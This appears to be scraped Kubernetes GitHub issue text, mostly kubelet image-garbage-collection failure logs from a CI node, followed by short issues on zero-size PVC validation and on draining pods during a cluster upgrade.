f9ea88f4d4fd  must be forced  - image is being used by stopped container ddecf5349fbd\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6f836c704424  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 56684f9b1357  must be forced  - image is being used by stopped container 7c9a2f105e83\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete dba1dd3055ab  must be forced  - image is being used by stopped container eff78d2a3812\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 8f9bb26186dc  must be forced  - image is being used by stopped container 00bb98b77796\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 1160c6fb7572  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c5b004c911b9  must be forced  - image is being used by stopped container d1ecef54ef89\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2a63ef9eca80  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 68fa83eb3f0f  must be forced  - image is being used by stopped container 44753bb5dccc\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 27542787e4b6  must be forced  - image is being used by stopped container bffd7f9e21ad\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6dc20eeb36e0  must be forced  - image is being used by stopped container edd2bef48516\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 7a57ce3b8f23  must be forced  - image is being used by stopped container 1cd11c43d408\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 51bb0bf6186d  must be forced  - image is being used by stopped container 904289409d64\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 3d38b1de1707  must be forced  - image is being used by stopped container 9eda708605da\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 0fe60a52a3a9  must be forced  - image is being used by stopped container 6e3871c5feaf\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2585b05ba29f  must be forced  - image is being used by stopped container 46b58a340bad\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 94c9711133a8  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 5321e129c193  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 558ec82df5b2  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 04d3d53a8be5  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 4e9fb26c1003  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete d0d6f23217ae  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 28f3312fec61  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 773e7033f3de  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 96bcb1e7b8ee  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete cb95821cb6f7  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete a6860762f5e4  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 9df86d711cd7  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2c3e1b8e0dfa  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete d6403886da88  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete ac5d93a8e2d6  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 4f08e303819f  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 129dfee5c05d  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c8430b6af7f3  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 002ef681e318  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 267c7071970f  must be forced  - image is being used by stopped container bb4084ccce19\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 5d0ffad34296  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 3ea4ab40dc98  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 16e0437412cb  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete d4bdffc72eea  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete cecc9575a4ea  cannot be forced  - image has dependent child images\ } \r   57m\t\t57m\t\t1\tkubelet, origin-ci-ig-n-kwtq\t\t\twarning\t\timagegcfailed\twanted to free 8399576268 bytes, but freed 10946553940 bytes space with errors in image deletion:  rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 837c76105ac2  must be forced  - image is being used by stopped container d21ec541b826\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c8271bf5b642  must be forced  - image is being used by stopped container f7df23fbed28\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6c33890d9bff  must be forced  - image is being used by stopped container bf5c8c5d2d1d\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 56684f9b1357  must be forced  - image is being used by stopped container 7c9a2f105e83\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete feb93d74246b  must be forced  - image is being used by stopped container 4e521493a689\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete f9ea88f4d4fd  must be forced  - image is being used by stopped container ddecf5349fbd\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete a44dde950357  cannot be forced  - image is being used by running container c1e788a59bfd\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6a66a3caff89  must be forced  - image is being used by stopped container 9cab8358785c\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 644c4f7c63f5  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 427bb848ee38  must be forced  - image is being used by stopped container 0e4272b10670\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6f836c704424  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete dba1dd3055ab  must be forced  - image is being used by stopped container eff78d2a3812\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 8f9bb26186dc  must be forced  - image is being used by stopped container 00bb98b77796\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 1160c6fb7572  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c5b004c911b9  must be forced  - image is being used by stopped container d1ecef54ef89\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2a63ef9eca80  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 68fa83eb3f0f  must be forced  - image is being used by stopped container 44753bb5dccc\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6dc20eeb36e0  must be forced  - image is being used by stopped container edd2bef48516\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 27542787e4b6  must be forced  - image is being used by stopped container bffd7f9e21ad\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 7a57ce3b8f23  must be forced  - image is being used by stopped container 1cd11c43d408\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 51bb0bf6186d  must be forced  - image is being used by stopped container 904289409d64\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 3d38b1de1707  must be forced  - image is being used by stopped container 9eda708605da\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 0fe60a52a3a9  must be forced  - image is being used by stopped container 6e3871c5feaf\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2585b05ba29f  must be forced  - image is being used by stopped container 46b58a340bad\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 94c9711133a8  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 5321e129c193  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 558ec82df5b2  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 04d3d53a8be5  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 4e9fb26c1003  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete d0d6f23217ae  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 28f3312fec61  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 773e7033f3de  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 96bcb1e7b8ee  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete cb95821cb6f7  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete a6860762f5e4  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 9df86d711cd7  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2c3e1b8e0dfa  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete d6403886da88  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete ac5d93a8e2d6  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 4f08e303819f  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 129dfee5c05d  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c8430b6af7f3  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 002ef681e318  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 267c7071970f  must be forced  - image is being used by stopped container bb4084ccce19\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 5d0ffad34296  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 3ea4ab40dc98  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 16e0437412cb  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete d4bdffc72eea  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 0e89507b3bf6  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 4a56f0f29cbf  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 33c2262feaac  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 736cc90f4270  cannot be forced  - image has dependent child images\ } \r   52m\t\t52m\t\t1\tkubelet, origin-ci-ig-n-kwtq\t\t\twarning\t\timagegcfailed\twanted to free 6704118988 bytes, but freed 10951445040 bytes space with errors in image deletion:  rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete feb93d74246b  must be forced  - image is being used by stopped container 4e521493a689\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6a66a3caff89  must be forced  - image is being used by stopped container 9cab8358785c\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c8271bf5b642  must be forced  - image is being used by stopped container f7df23fbed28\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6f836c704424  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete f9ea88f4d4fd  must be forced  - image is being used by stopped container ddecf5349fbd\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 837c76105ac2  must be forced  - image is being used by stopped container d21ec541b826\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6c33890d9bff  must be forced  - image is being used by stopped container bf5c8c5d2d1d\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete a44dde950357  cannot be forced  - image is being used by running container b744ea5959be\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 427bb848ee38  must be forced  - image is being used by stopped container 0e4272b10670\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 56684f9b1357  must be forced  - image is being used by stopped container 7c9a2f105e83\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 644c4f7c63f5  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete dba1dd3055ab  must be forced  - image is being used by stopped container eff78d2a3812\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 8f9bb26186dc  must be forced  - image is being used by stopped container 00bb98b77796\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 1160c6fb7572  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c5b004c911b9  must be forced  - image is being used by stopped container d1ecef54ef89\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2a63ef9eca80  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 68fa83eb3f0f  must be forced  - image is being used by stopped container 44753bb5dccc\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6dc20eeb36e0  must be forced  - image is being used by stopped container edd2bef48516\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 27542787e4b6  must be forced  - image is being used by stopped container bffd7f9e21ad\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 7a57ce3b8f23  must be forced  - image is being used by stopped container 1cd11c43d408\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 51bb0bf6186d  must be forced  - image is being used by stopped container 904289409d64\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 3d38b1de1707  must be forced  - image is being used by stopped container 9eda708605da\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 0fe60a52a3a9  must be forced  - image is being used by stopped container 6e3871c5feaf\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2585b05ba29f  must be forced  - image is being used by stopped container 46b58a340bad\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 94c9711133a8  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 5321e129c193  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 558ec82df5b2  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 04d3d53a8be5  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 4e9fb26c1003  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete d0d6f23217ae  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 28f3312fec61  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 773e7033f3de  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 96bcb1e7b8ee  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete cb95821cb6f7  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete a6860762f5e4  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 9df86d711cd7  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2c3e1b8e0dfa  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete d6403886da88  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete ac5d93a8e2d6  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 4f08e303819f  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 129dfee5c05d  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c8430b6af7f3  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 002ef681e318  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 267c7071970f  must be forced  - image is being used by stopped container bb4084ccce19\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 5d0ffad34296  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 3ea4ab40dc98  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 16e0437412cb  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete d4bdffc72eea  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 0e89507b3bf6  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 4a56f0f29cbf  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 736cc90f4270  cannot be forced  - image has dependent child images\ } \r   27m\t\t27m\t\t1\tkubelet, origin-ci-ig-n-kwtq\t\t\twarning\t\timagegcfailed\twanted to free 6650391756 bytes, but freed 12644234039 bytes space with errors in image deletion:  rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c8271bf5b642  must be forced  - image is being used by stopped container f7df23fbed28\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete a44dde950357  cannot be forced  - image is being used by running container b744ea5959be\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 644c4f7c63f5  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6a66a3caff89  must be forced  - image is being used by stopped container 9cab8358785c\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 837c76105ac2  must be forced  - image is being used by stopped container d21ec541b826\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 427bb848ee38  must be forced  - image is being used by stopped container 0e4272b10670\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 56684f9b1357  must be forced  - image is being used by stopped container 7c9a2f105e83\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete f9ea88f4d4fd  must be forced  - image is being used by stopped container ddecf5349fbd\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6f836c704424  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6c33890d9bff  must be forced  - image is being used by stopped container bf5c8c5d2d1d\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete feb93d74246b  must be forced  - image is being used by stopped container 4e521493a689\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete dba1dd3055ab  must be forced  - image is being used by stopped container eff78d2a3812\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 8f9bb26186dc  must be forced  - image is being used by stopped container 00bb98b77796\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 1160c6fb7572  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c5b004c911b9  must be forced  - image is being used by stopped container d1ecef54ef89\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2a63ef9eca80  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 68fa83eb3f0f  must be forced  - image is being used by stopped container 44753bb5dccc\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 6dc20eeb36e0  must be forced  - image is being used by stopped container edd2bef48516\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 27542787e4b6  must be forced  - image is being used by stopped container bffd7f9e21ad\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 7a57ce3b8f23  must be forced  - image is being used by stopped container 1cd11c43d408\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 51bb0bf6186d  must be forced  - image is being used by stopped container 904289409d64\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 3d38b1de1707  must be forced  - image is being used by stopped container 9eda708605da\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 0fe60a52a3a9  must be forced  - image is being used by stopped container 6e3871c5feaf\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2585b05ba29f  must be forced  - image is being used by stopped container 46b58a340bad\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 94c9711133a8  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 5321e129c193  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 558ec82df5b2  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 04d3d53a8be5  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 4e9fb26c1003  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete d0d6f23217ae  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 28f3312fec61  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 773e7033f3de  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 96bcb1e7b8ee  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete cb95821cb6f7  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete a6860762f5e4  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 9df86d711cd7  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2c3e1b8e0dfa  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete d6403886da88  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete ac5d93a8e2d6  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 4f08e303819f  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 129dfee5c05d  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c8430b6af7f3  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 002ef681e318  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 267c7071970f  must be forced  - image is being used by stopped container bb4084ccce19\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 5d0ffad34296  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 3ea4ab40dc98  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 16e0437412cb  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete d4bdffc72eea  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 0e89507b3bf6  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 4a56f0f29cbf  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 736cc90f4270  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 77f3fcb2c264  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete e891bf7128bb  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete da732bb45852  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete c664f2b2bfda  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete 2b6b691f331c  cannot be forced  - image has dependent child images\ }, rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete ae5d06bf5d6f  cannot be forced  - image has dependent child images\ } \r    \r \r </details>\r \r \r   /cc @smarterclayton @derekwaynecarr

\r   what happened  :\r volume plugins will not check whether the request of pvc is 0 when they run  createvolume  or  createimage  called by  provision   \r \r   what you expected to happen  :\r validation checks that instead of updating all volume plugins\r \r  /assign

i am upgrading k8s from 1.8.4 to 1.9.3 in my cluster with 300 nodes. if pods are drained when upgrading kubelet on worker nodes, it will result in workloads migration which is not our expectation.\r \r is it necessary to perform \ drain pods\  ? \r \r 

